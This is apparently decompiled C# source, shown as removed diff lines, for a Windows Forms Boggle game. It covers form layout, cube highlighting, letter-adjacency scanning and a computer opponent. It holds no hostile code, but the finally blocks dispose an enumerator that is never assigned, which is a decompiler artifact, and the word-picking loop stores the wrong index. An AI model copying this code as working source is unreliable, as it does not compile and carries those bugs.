this.btnContinue.ButtonText = "Continue"; - BogButton btnContinue1 = this.btnContinue; - point1 = new Point(187, 223); - Point point54 = point1; - btnContinue1.Location = point54; - this.btnContinue.Name = "btnContinue"; - BogButton btnContinue2 = this.btnContinue; - size1 = new Size(93, 49); - Size size54 = size1; - btnContinue2.Size = size54; - this.btnContinue.TabIndex = 69; - this.btnContinue.Text = "Continue"; - this.btnScramble.BogButtonEnabled = false; - this.btnScramble.ButtonText = "Scramble"; - BogButton btnScramble1 = this.btnScramble; - point1 = new Point(187, 265); - Point point55 = point1; - btnScramble1.Location = point55; - this.btnScramble.Name = "btnScramble"; - BogButton btnScramble2 = this.btnScramble; - size1 = new Size(93, 49); - Size size55 = size1; - btnScramble2.Size = size55; - this.btnScramble.TabIndex = 70; - this.btnScramble.Text = "Add Word"; - this.btnFinish.BogButtonEnabled = false; - this.btnFinish.ButtonText = " Finish "; - BogButton btnFinish1 = this.btnFinish; - point1 = new Point(548, 595); - Point point56 = point1; - btnFinish1.Location = point56; - this.btnFinish.Name = "btnFinish"; - BogButton btnFinish2 = this.btnFinish; - size1 = new Size(96, 49); - Size size56 = size1; - btnFinish2.Size = size56; - this.btnFinish.TabIndex = 73; - this.btnFinish.Text = "btnFinish"; - this.lblHumanRounds.BackColor = System.Drawing.Color.Silver; - this.lblHumanRounds.BorderStyle = BorderStyle.FixedSingle; - this.lblHumanRounds.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblHumanRounds.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192); - Label lblHumanRounds1 = this.lblHumanRounds; - point1 = new Point(121, 244); - Point point57 = point1; - lblHumanRounds1.Location = point57; - this.lblHumanRounds.Name = "lblHumanRounds"; - Label lblHumanRounds2 = this.lblHumanRounds; - size1 = new Size(29, 19); - Size size57 = size1; - lblHumanRounds2.Size = size57; - this.lblHumanRounds.TabIndex = 74; - this.lblHumanRounds.Text = "0"; - this.lblComputerRounds.BackColor = System.Drawing.Color.Silver; - this.lblComputerRounds.BorderStyle = BorderStyle.FixedSingle; - this.lblComputerRounds.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblComputerRounds.ForeColor = System.Drawing.Color.FromArgb(0, 0, 192); - Label lblComputerRounds1 = this.lblComputerRounds; - point1 = new Point(121, 289); - Point point58 = point1; - lblComputerRounds1.Location = point58; - this.lblComputerRounds.Name = "lblComputerRounds"; - Label lblComputerRounds2 = this.lblComputerRounds; - size1 = new Size(29, 19); - Size size58 = size1; - lblComputerRounds2.Size = size58; - this.lblComputerRounds.TabIndex = 75; - this.lblComputerRounds.Text = "0"; - this.Label7.AutoSize = true; - this.Label7.BackColor = System.Drawing.Color.DarkGray; - this.Label7.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.Label7.ForeColor = System.Drawing.Color.Black; - Label label7_1 = this.Label7; - point1 = new Point(121, 230); - Point point59 = point1; - label7_1.Location = point59; - this.Label7.Name = "Label7"; - Label label7_2 = this.Label7; - size1 = new Size(45, 13); - Size size59 = size1; - label7_2.Size = size59; - this.Label7.TabIndex = 76; - this.Label7.Text = "Rounds"; - this.Label8.AutoSize = true; - this.Label8.BackColor = System.Drawing.Color.DarkGray; - this.Label8.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.Label8.ForeColor = System.Drawing.Color.Black; - Label label8_1 = this.Label8; - point1 = new Point(121, 275); - Point point60 = point1; - label8_1.Location = point60; - this.Label8.Name = "Label8"; - Label label8_2 = this.Label8; - size1 = new Size(45, 13); - Size size60 = size1; - label8_2.Size = size60; - this.Label8.TabIndex = 77; - this.Label8.Text = "Rounds"; - this.lblRound.AutoSize = true; - this.lblRound.BackColor = System.Drawing.Color.DarkGray; - this.lblRound.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.lblRound.ForeColor = System.Drawing.Color.Blue; - Label lblRound1 = this.lblRound; - point1 = new Point(599, 32); - Point point61 = point1; - lblRound1.Location = point61; - this.lblRound.Name = "lblRound"; - Label lblRound2 = this.lblRound; - size1 = new Size(13, 15); - Size size61 = size1; - lblRound2.Size = size61; - this.lblRound.TabIndex = 72; - this.lblRound.Text = "0"; - this.Label6.AutoSize = true; - this.Label6.BackColor = System.Drawing.Color.DarkGray; - this.Label6.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.Label6.ForeColor = System.Drawing.Color.Blue; - Label label6_1 = this.Label6; - point1 = new Point(543, 31); - Point point62 = point1; - label6_1.Location = point62; - this.Label6.Name = "Label6"; - Label label6_2 = this.Label6; - size1 = new Size(53, 15); - Size size62 = size1; - label6_2.Size = size62; - this.Label6.TabIndex = 71; - this.Label6.Text = "Round: "; - this.BogBorder5.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder5.BorderDirection = BogBorder.Direction.Left; - BogBorder bogBorder5_1 = this.BogBorder5; - point1 = new Point(356, 44); - Point point63 = point1; - bogBorder5_1.Location = point63; - this.BogBorder5.Name = "BogBorder5"; - BogBorder bogBorder5_2 = this.BogBorder5; - size1 = new Size(11, 556); - Size size63 = size1; - bogBorder5_2.Size = size63; - this.BogBorder5.TabIndex = 13; - this.BogBorder5.TabStop = false; - this.Panel3.BackColor = System.Drawing.Color.Black; - Panel panel3_1 = this.Panel3; - point1 = new Point(365, 57); - Point point64 = point1; - panel3_1.Location = point64; - this.Panel3.Name = "Panel3"; - Panel panel3_2 = this.Panel3; - size1 = new Size(430, 18); - Size size64 = size1; - panel3_2.Size = size64; - this.Panel3.TabIndex = 45; - this.Panel2.BackColor = System.Drawing.Color.Black; - Panel panel2_1 = this.Panel2; - point1 = new Point(780, 72); - Point point65 = point1; - panel2_1.Location = point65; - this.Panel2.Name = "Panel2"; - Panel panel2_2 = this.Panel2; - size1 = new Size(15, 100); - Size size65 = size1; - panel2_2.Size = size65; - this.Panel2.TabIndex = 44; - this.txtMain.BackColor = System.Drawing.Color.Black; - this.txtMain.BorderStyle = BorderStyle.None; - this.txtMain.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); - this.txtMain.ForeColor = System.Drawing.Color.DodgerBlue; - RichTextBox txtMain1 = this.txtMain; - point1 = new Point(381, 75); - Point point66 = point1; - txtMain1.Location = point66; - this.txtMain.Name = "txtMain"; - RichTextBox txtMain2 = this.txtMain; - size1 = new Size(399, 99); - Size size66 = size1; - txtMain2.Size = size66; - this.txtMain.TabIndex = 18; - this.txtMain.Text = ""; - this.BogBorder4.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder4.BorderDirection = BogBorder.Direction.Bottom; - BogBorder bogBorder4_1 = this.BogBorder4; - point1 = new Point(367, 589); - Point point67 = point1; - bogBorder4_1.Location = point67; - this.BogBorder4.Name = "BogBorder4"; - BogBorder bogBorder4_2 = this.BogBorder4; - size1 = new Size(428, 10); - Size size67 = size1; - bogBorder4_2.Size = size67; - this.BogBorder4.TabIndex = 12; - this.BogBorder4.TabStop = false; - this.BogBorder3.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder3.BorderDirection = BogBorder.Direction.Right; - BogBorder bogBorder3_1 = this.BogBorder3; - point1 = new Point(795, 47); - Point point68 = point1; - bogBorder3_1.Location = point68; - this.BogBorder3.Name = "BogBorder3"; - BogBorder bogBorder3_2 = this.BogBorder3; - size1 = new Size(11, 552); - Size size68 = size1; - bogBorder3_2.Size = size68; - this.BogBorder3.TabIndex = 11; - this.BogBorder3.TabStop = false; - this.BogBorder1.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder1.BorderDirection = BogBorder.Direction.Top; - BogBorder bogBorder1_1 = this.BogBorder1; - point1 = new Point(367, 46); - Point point69 = point1; - bogBorder1_1.Location = point69; - this.BogBorder1.Name = "BogBorder1"; - BogBorder bogBorder1_2 = this.BogBorder1; - size1 = new Size(428, 12); - Size size69 = size1; - bogBorder1_2.Size = size69; - this.BogBorder1.TabIndex = 9; - this.BogBorder1.TabStop = false; - this.picCubesUp.BackColor = System.Drawing.Color.Black; - PictureBox picCubesUp1 = this.picCubesUp; - point1 = new Point(365, 172); - Point point70 = point1; - picCubesUp1.Location = point70; - this.picCubesUp.Name = "picCubesUp"; - PictureBox picCubesUp2 = this.picCubesUp; - size1 = new Size(430, 417); - Size size70 = size1; - picCubesUp2.Size = size70; - this.picCubesUp.TabIndex = 5; - this.picCubesUp.TabStop = false; - this.CircleLabel1.BackColor = System.Drawing.Color.LightGray; - this.CircleLabel1.CubeHighLight = System.Drawing.Color.LightGray; - this.CircleLabel1.CubeText = "W"; - this.CircleLabel1.CubeTextColor = System.Drawing.Color.DarkBlue; - this.CircleLabel1.CubeTopRadius = 55L; - CircleLabel circleLabel1_1 = this.CircleLabel1; - point1 = new Point(394, 415); - Point point71 = point1; - circleLabel1_1.Location = point71; - this.CircleLabel1.Name = "CircleLabel1"; - CircleLabel circleLabel1_2 = this.CircleLabel1; - size1 = new Size(55, 55); - Size size71 = size1; - circleLabel1_2.Size = size71; - this.CircleLabel1.TabIndex = 31; - this.CircleLabel1.Tag = (object) "03"; - this.CircleLabel2.BackColor = System.Drawing.Color.LightGray; - this.CircleLabel2.CubeHighLight = System.Drawing.Color.LightGray; - this.CircleLabel2.CubeText = "W"; - this.CircleLabel2.CubeTextColor = System.Drawing.Color.DarkBlue; - this.CircleLabel2.CubeTopRadius = 55L; - CircleLabel circleLabel2_1 = this.CircleLabel2; - point1 = new Point(398, 340); - Point point72 = point1; - circleLabel2_1.Location = point72; - this.CircleLabel2.Name = "CircleLabel2"; - CircleLabel circleLabel2_2 = this.CircleLabel2; - size1 = new Size(55, 55); - Size size72 = size1; - circleLabel2_2.Size = size72; - this.CircleLabel2.TabIndex = 27; - this.CircleLabel2.Tag = (object) "02"; - this.CircleLabel3.BackColor = System.Drawing.Color.LightGray; - this.CircleLabel3.CubeHighLight = System.Drawing.Color.LightGray; - this.CircleLabel3.CubeText = "W"; - this.CircleLabel3.CubeTextColor = System.Drawing.Color.DarkBlue; - this.CircleLabel3.CubeTopRadius = 55L; - CircleLabel circleLabel3_1 = this.CircleLabel3; - point1 = new Point(468, 412); - Point point73 = point1; - circleLabel3_1.Location = point73; - this.CircleLabel3.Name = "CircleLabel3"; - CircleLabel circleLabel3_2 = this.CircleLabel3; - size1 = new Size(55, 55); - Size size73 = size1; - circleLabel3_2.Size = size73; - this.CircleLabel3.TabIndex = 32; - this.CircleLabel3.Tag = (object) "13"; - this.PictureBox1.BackColor = System.Drawing.Color.Black; - PictureBox pictureBox1_1 = this.PictureBox1; - point1 = new Point(370, 172); - Point point74 = point1; - pictureBox1_1.Location = point74; - this.PictureBox1.Name = "PictureBox1"; - PictureBox pictureBox1_2 = this.PictureBox1; - size1 = new Size(430, 417); - Size size74 = size1; - pictureBox1_2.Size = size74; - this.PictureBox1.TabIndex = 5; - this.PictureBox1.TabStop = false; - size1 = new Size(5, 13); - this.AutoScaleBaseSize = size1; - this.BackColor = System.Drawing.Color.Black; - size1 = new Size(848, 646); - this.ClientSize = size1; - this.Controls.AddRange(new Control[73] - { - (Control) this.lblCompWordsCount, - (Control) this.lblHumanWordsCount, - (Control) this.Label2, - (Control) this.Label1, - (Control) this.Label8, - (Control) this.Label7, - (Control) this.Label5, - (Control) this.Label4, - (Control) this.Label3, - (Control) this.lblRound, - (Control) this.Label6, - (Control) this.BogBorder13, - (Control) this.BogBorder14, - (Control) this.BogBorder15, - (Control) this.BogBorder16, - (Control) this.lstCompFoundWords, - (Control) this.BogBorder12, - (Control) this.BogBorder11, - (Control) this.BogBorder10, - (Control) this.BogBorder9, - (Control) this.lstHumanWordsFound, - (Control) this.lblComputerRounds, - (Control) this.lblHumanRounds, - (Control) this.lblCompScore, - (Control) this.lblHumanScore, - (Control) this.txtWordFound, - (Control) this.btnScramble, - (Control) this.btnContinue, - (Control) this.btnAddWord, - (Control) this.tmrBtn4, - (Control) this.tmrBtn3, - (Control) this.tmrBtn2, - (Control) this.tmrBtn1, - (Control) this.BogBorder8, - (Control) this.BogBorder7, - (Control) this.BogBorder6, - (Control) this.BogBorder2, - (Control) this.tmrMain, - (Control) this.btnFinish, - (Control) this.BogBorder5, - (Control) this.Panel3, - (Control) this.Panel2, - (Control) this.Panel1, - (Control) this.picCubeDown, - (Control) this.lbl16, - (Control) this.lbl15, - (Control) this.lbl14, - (Control) this.lbl13, - (Control) this.lbl12, - (Control) this.lbl11, - (Control) this.lbl10, - (Control) this.lbl9, - (Control) this.lbl8, - (Control) this.lbl7, - (Control) this.lbl6, - (Control) this.lbl5, - (Control) this.lbl2, - (Control) this.lbl3, - (Control) this.lbl4, - (Control) this.lbl1, - (Control) this.txtMain, - (Control) this.BogBorder4, - (Control) this.BogBorder3, - (Control) this.BogBorder1, - (Control) this.pnlTimer, - (Control) this.picCubesUp, - (Control) this.pnlScore, - (Control) this.pnlWords, - (Control) this.CircleLabel1, - (Control) this.CircleLabel2, - (Control) this.CircleLabel3, - (Control) this.PictureBox1, - (Control) this.pnlCubes - }); - this.FormBorderStyle = FormBorderStyle.FixedDialog; - this.MaximizeBox = false; - this.Menu = this.mnuMain; - this.Name = nameof (frmMain); - this.Text = "Boggle .Net"; - this.ResumeLayout(false); - } - - private void CubeClick(CircleLabel sender, EventArgs e) - { - VBMath.Randomize(); - System.Drawing.Color color; - switch (Math.Round((double) (Conversion.Int(VBMath.Rnd() * 6f) + 1f))) - { - case 1.0: - color = System.Drawing.Color.Indigo; - break; - case 2.0: - color = System.Drawing.Color.DarkGreen; - break; - case 3.0: - color = System.Drawing.Color.Crimson; - break; - case 4.0: - color = System.Drawing.Color.Yellow; - break; - case 5.0: - color = System.Drawing.Color.DarkOrange; - break; - default: - color = System.Drawing.Color.Pink; - break; - } - if (StringType.StrCmp(modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeHighLight.ToString(), System.Drawing.Color.Aquamarine.ToString(), false) == 0) - { - modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeHighLight = System.Drawing.Color.LightGray; - modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeTextColor = System.Drawing.Color.DarkBlue; - this.ResetCubes(); - } - else - { - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeDownPic = (PictureBox) null; - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - if (ObjectType.ObjTst(modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeTopRadius, (object) 55, false) != 0) - { - this.ResetCubes(); - } - else - { - this.ResetCubes(); - modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeDownPic = this.picCubeDown; - modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].ShowClick(); - modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeHighLight = System.Drawing.Color.Aquamarine; - modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeTextColor = color; - modGlobal.Cubes[checked (IntegerType.FromString(Strings.Mid(sender.Name, 4)) - 1)].CubeLabel.BringToFront(); - } - } - } - - private void ResetCubes() - { - this.picCubeDown.Visible = false; - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - if (ObjectType.ObjTst(modGlobal.myCube.CubeTopRadius, (object) 55, false) != 0) - { - modGlobal.myCube.CubeLabel.SendToBack(); - modGlobal.myCube.IsBack = true; - modGlobal.myCube.CubeTopRadius = (object) 55; - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - modGlobal.Cubes[0].CubeTopLeft = (long) checked (this.picCubesUp.Left + 79); - int Index1 = 1; - do - { - modGlobal.Cubes[Index1].CubeTopLeft = checked (modGlobal.Cubes[Index1 - 1].CubeTopLeft + modGlobal.Cubes[Index1 - 1].CubeTopWidth + 15L); - checked { ++Index1; } - } - while (Index1 <= 3); - modGlobal.Cubes[4].CubeTopLeft = (long) checked (this.picCubesUp.Left + 79); - int Index2 = 5; - do - { - modGlobal.Cubes[Index2].CubeTopLeft = checked (modGlobal.Cubes[Index2 - 1].CubeTopLeft + modGlobal.Cubes[Index2 - 1].CubeTopWidth + 15L); - checked { ++Index2; } - } - while (Index2 <= 7); - modGlobal.Cubes[8].CubeTopLeft = (long) checked (this.picCubesUp.Left + 79); - int Index3 = 9; - do - { - modGlobal.Cubes[Index3].CubeTopLeft = checked (modGlobal.Cubes[Index3 - 1].CubeTopLeft + modGlobal.Cubes[Index3 - 1].CubeTopWidth + 15L); - checked { ++Index3; } - } - while (Index3 <= 11); - modGlobal.Cubes[12].CubeTopLeft = (long) checked (this.picCubesUp.Left + 79); - int Index4 = 13; - do - { - modGlobal.Cubes[Index4].CubeTopLeft = checked (modGlobal.Cubes[Index4 - 1].CubeTopLeft + modGlobal.Cubes[Index4 - 1].CubeTopWidth + 15L); - checked { ++Index4; } - } - while (Index4 <= 15); - int Index5 = 0; - do - { - modGlobal.Cubes[Index5].CubeTopTop = (long) checked (this.picCubesUp.Top + 69); - checked { ++Index5; } - } - while (Index5 <= 3); - int Index6 = 4; - do - { - modGlobal.Cubes[Index6].CubeTopTop = checked (modGlobal.Cubes[0].CubeTopHeight + (long) this.picCubesUp.Top + 84L); - checked { ++Index6; } - } - while (Index6 <= 7); - int Index7 = 8; - do - { - modGlobal.Cubes[Index7].CubeTopTop = checked (modGlobal.Cubes[4].CubeTopHeight + modGlobal.Cubes[4].CubeTopTop + 14L); - checked { ++Index7; } - } - while (Index7 <= 11); - int Index8 = 12; - do - { - modGlobal.Cubes[Index8].CubeTopTop = checked (modGlobal.Cubes[8].CubeTopHeight + modGlobal.Cubes[8].CubeTopTop + 14L); - checked { ++Index8; } - } - while (Index8 <= 15); - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - if (modGlobal.myCube.IsBack) - { - modGlobal.myCube.IsBack = false; - modGlobal.myCube.CubeLabel.BringToFront(); - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - } - - private void frmMain_Load(object sender, EventArgs e) - { - this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0))); - this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0))); - int num = 0; - do - { - Cube Cube = new Cube(); - modGlobal.Cubes.Add(Cube); - checked { ++num; } - } - while (num <= 15); - this.FindWordsThread = new Thread(new ThreadStart(this.FindAllWords)); - this.ShowWordThread = new Thread(new ThreadStart(this.ShowWord)); - modGlobal.Cubes[0].CubeLabel = this.lbl1; - modGlobal.Cubes[1].CubeLabel = this.lbl2; - modGlobal.Cubes[2].CubeLabel = this.lbl3; - modGlobal.Cubes[3].CubeLabel = this.lbl4; - modGlobal.Cubes[4].CubeLabel = this.lbl5; - modGlobal.Cubes[5].CubeLabel = this.lbl6; - modGlobal.Cubes[6].CubeLabel = this.lbl7; - modGlobal.Cubes[7].CubeLabel = this.lbl8; - modGlobal.Cubes[8].CubeLabel = this.lbl9; - modGlobal.Cubes[9].CubeLabel = this.lbl10; - modGlobal.Cubes[10].CubeLabel = this.lbl11; - modGlobal.Cubes[11].CubeLabel = this.lbl12; - modGlobal.Cubes[12].CubeLabel = this.lbl13; - modGlobal.Cubes[13].CubeLabel = this.lbl14; - modGlobal.Cubes[14].CubeLabel = this.lbl15; - modGlobal.Cubes[15].CubeLabel = this.lbl16; - this.ResetCubes(); - modGlobal.Cubes.CubesPicBox = this.picCubesUp; - this.ShowDisplayText("", false, false, 0); - this.ChangeMode((object) this.mnuVsMode, new EventArgs()); - this.ChangeLevel((object) this.mnuLevelMedium, new EventArgs()); - this.ChangeTimerInterval((object) this.mnuTmr300, new EventArgs()); - this.mnuEnableWordValidation.Checked = true; - } - - public void ScanLetters() - { - modGlobal.cmdBog.CommandText = "Delete From PossibleLetters"; - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - int num = 0; - do - { - while (true) - { - int nextLetterSquare = this.FindNextLetterSquare(num); - if (nextLetterSquare != -1) - { - modGlobal.conBoggle.Open(); - modGlobal.cmdBog.CommandText = "Insert Into PossibleLetters (BaseLetterSquare,BaseLetter,FriendLetterSquare,FriendLetter) Values (" + StringType.FromInteger(num) + ",'" + modGlobal.Cubes[num].CubeLetter + "'," + StringType.FromInteger(nextLetterSquare) + ",'" + modGlobal.Cubes[nextLetterSquare].CubeLetter + "')"; - modGlobal.cmdBog.ExecuteNonQuery(); - modGlobal.conBoggle.Close(); - } - else - break; - } - checked { ++num; } - } - while (num <= 15); - this.FindNextLetterSquare(-100); - } - - public int FindNextLetterSquare(int LetterSquare) - { - if (this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State != (short) 1) - { - Monitor.Enter((object) this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init); - try - { - if (this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State == (short) 0) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State = (short) 2; - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection = new bool[16, 9]; - } - else if (this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State == (short) 2) - throw new IncompleteInitialization(); - } - finally - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init.State = (short) 1; - Monitor.Exit((object) this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init); - } - } - int nextLetterSquare; - if (LetterSquare == -100) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection = new bool[16, 9]; - } - else - { - int num; - if (Strings.InStr(",0,1,2,3,7,11,15,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 7]) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 7] = true; - num = checked (LetterSquare - 3); - } - else if (Strings.InStr(",3,7,11,15,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 0]) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 0] = true; - num = checked (LetterSquare + 1); - } - else if (Strings.InStr(",3,7,11,15,14,13,12,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 1]) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 1] = true; - num = checked (LetterSquare + 5); - } - else if (Strings.InStr(",12,13,14,15,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 2]) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 2] = true; - num = checked (LetterSquare + 4); - } - else if (Strings.InStr(",0,4,8,12,13,14,15,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 3]) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 3] = true; - num = checked (LetterSquare + 3); - } - else if (Strings.InStr(",0,4,8,12,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 4]) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 4] = true; - num = checked (LetterSquare - 1); - } - else if (Strings.InStr(",0,4,8,12,1,2,3,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 5]) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 5] = true; - num = checked (LetterSquare - 5); - } - else if (Strings.InStr(",0,1,2,3,", "," + StringType.FromInteger(LetterSquare) + ",") == 0 & !this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 6]) - { - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection[LetterSquare, 6] = true; - num = checked (LetterSquare - 4); - } - else - num = -1; - nextLetterSquare = num; - } - return nextLetterSquare; - } - - private void FindAllWords() - { - this.mnuEndGame.Enabled = false; - this.ScanLetters(); - string Word; - this.FoundWords = modFindWords.FindWords(modFindWords.FindMode.AllWords, Word); - string sLeft; - switch (modGlobal.GameMode) - { - case modGlobal.Mode.Vs: - sLeft = "\r\nComputer: I found all my words!"; - break; - } - VBMath.Randomize(); - int num1; - switch (modGlobal.GameLevel) - { - case modGlobal.Level.Easy: - num1 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * 8f) + 1f))); - break; - case modGlobal.Level.Medium: - num1 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * 15f) + 1f))); - break; - case modGlobal.Level.Hard: - num1 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * 30f) + 1f))); - break; - case modGlobal.Level.Impossible: - num1 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * 5000f) + 1f))); - break; - } - if (this.FoundWords.Rows.Count > num1) - { - int num2 = num1; - int index1 = 0; - while (index1 <= num2) - { - bool flag; - while (!flag) - { - flag = true; - VBMath.Randomize(); - int index2 = checked ((int) Math.Round((double) unchecked (Conversion.Int(VBMath.Rnd() * (float) this.FoundWords.Rows.Count) + 0.0f))); - int num3 = Information.UBound((Array) this.WordsChosen); - int index3 = 0; - while (index3 <= num3) - { - if (ObjectType.ObjTst((object) this.WordsChosen[index3], this.FoundWords.Rows[index2][0], false) == 0) - flag = false; - checked { ++index3; } - } - } - this.WordsChosen = (string[]) Utils.CopyArray((Array) this.WordsChosen, (Array) new string[checked (index1 + 1)]); - this.WordsChosen[index1] = StringType.FromObject(this.FoundWords.Rows[index1][0]); - flag = false; - checked { ++index1; } - } - } - else - { - int num4 = checked (this.FoundWords.Rows.Count - 1); - int index = 0; - while (index <= num4) - { - this.WordsChosen = (string[]) Utils.CopyArray((Array) this.WordsChosen, (Array) new string[checked (index + 1)]); - this.WordsChosen[index] = StringType.FromObject(this.FoundWords.Rows[index][0]); - checked { ++index; } - } - } - this.lstCompFoundWords.Refresh(); - if (StringType.StrCmp(sLeft, "", false) == 0) - sLeft = "\r\nComputer: I found " + StringType.FromInteger(Information.UBound((Array) this.WordsChosen)) + " words!"; - this.txtMain.Text += sLeft; - this.mnuEndGame.Enabled = true; - this.btnFinish.BogButtonEnabled = true; - } - - private void ShowWord() - { - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeHighLight = System.Drawing.Color.LightGray; - modGlobal.myCube.CubeTextColor = System.Drawing.Color.DarkBlue; - modGlobal.myCube.CubeDownPic = (PictureBox) null; - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - string str; - try - { - foreach (DataRow row in (InternalDataCollectionBase) this.FoundWords.Rows) - { - if (ObjectType.ObjTst(row["FoundWord"], (object) modGlobal.Cubes.WordToShow, false) == 0) - { - str = StringType.FromObject(row["FoundWordSquares"]); - break; - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - int num1 = Strings.Len(modGlobal.Cubes.WordToShow); - if (Strings.InStr(Strings.UCase(modGlobal.Cubes.WordToShow), "Q") != 0) - num1 = checked (Strings.Len(modGlobal.Cubes.WordToShow) - 1); - int num2 = num1; - int num3 = 1; - while (num3 <= num2) - { - int Index; - if (Strings.InStr(str, ",") == 0) - { - Index = IntegerType.FromString(str); - } - else - { - Index = IntegerType.FromString(Strings.Mid(str, 1, checked (Strings.InStr(str, ",") - 1))); - str = Strings.Mid(str, checked (Strings.InStr(str, ",") + 1)); - } - modGlobal.Cubes[Index].CubeHighLight = System.Drawing.Color.Aquamarine; - modGlobal.Cubes[Index].CubeTextColor = System.Drawing.Color.Red; - this.ResetCubes(); - try - { - foreach (Cube cube in (CollectionBase) modGlobal.Cubes) - { - modGlobal.myCube = cube; - modGlobal.myCube.CubeDownPic = (PictureBox) null; - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - modGlobal.Cubes[Index].CubeDownPic = this.picCubeDown; - modGlobal.Cubes[Index].ShowClick(); - Thread.Sleep(100); - checked { ++num3; } - } - this.ResetCubes(); - 